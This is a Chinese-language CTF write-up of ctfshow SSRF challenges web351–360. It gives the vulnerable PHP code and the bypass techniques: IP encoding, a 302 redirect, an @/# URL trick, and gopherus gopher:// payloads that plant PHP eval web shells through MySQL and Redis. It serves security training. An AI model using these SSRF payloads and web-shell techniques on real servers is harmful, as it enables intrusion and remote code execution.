web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
|
拿到题目，第一题没有进行任何过滤
可以直接读取到flag
web352-356
一些过滤
法一：
进制转换
法二：
增减
http://127.0.1/ http://0/
|
法三：
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme
|
这次上面的都不行了，我们采用302跳转
现在我们自己的服务器上写一个跳转文件
<?php
header("Location:http://127.0.0.1/flag.txt");
|
再用url指向我们的服务器中该文件
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
|
正则匹配
开头必须是
结尾必须是
前面用@间隔，后面用#注释
url=http://ctf.@127.0.0.1/flag.php#show
|
web359-360
这两道题需要用到gopherus工具
web359
拿到题目是一个登录页面，填点东西抓包一下
发现了有returl这个参数，是一个url，这里作为ssrf攻击点
python gopherus.py --exploit mysql
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
For making it work username should not be password protected!!!
Give MySQL username: root
Give query to execute: select "<?php eval($_POST[]);?>" into outfile '/var/www/html/1.php'
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%44%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01
|
得到payload还不能直接使用，将gopher://127.0.0.1:3306/_后面的内容进行一次url编码，之后再打入returl
之后即可直接访问1.php
执行rce或使用蚁剑链接
web360
题目提示说打redis
>python gopherus.py --exploit redis
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
Ready To get SHELL
What do you want?? (ReverseShell/PHPShell): php
Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[1]);?>
Your gopher link is Ready to get PHP Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
|
跟前面一样的操作，先进行编码，再打入url，最后再shell.php中执行rce或链接蚁剑
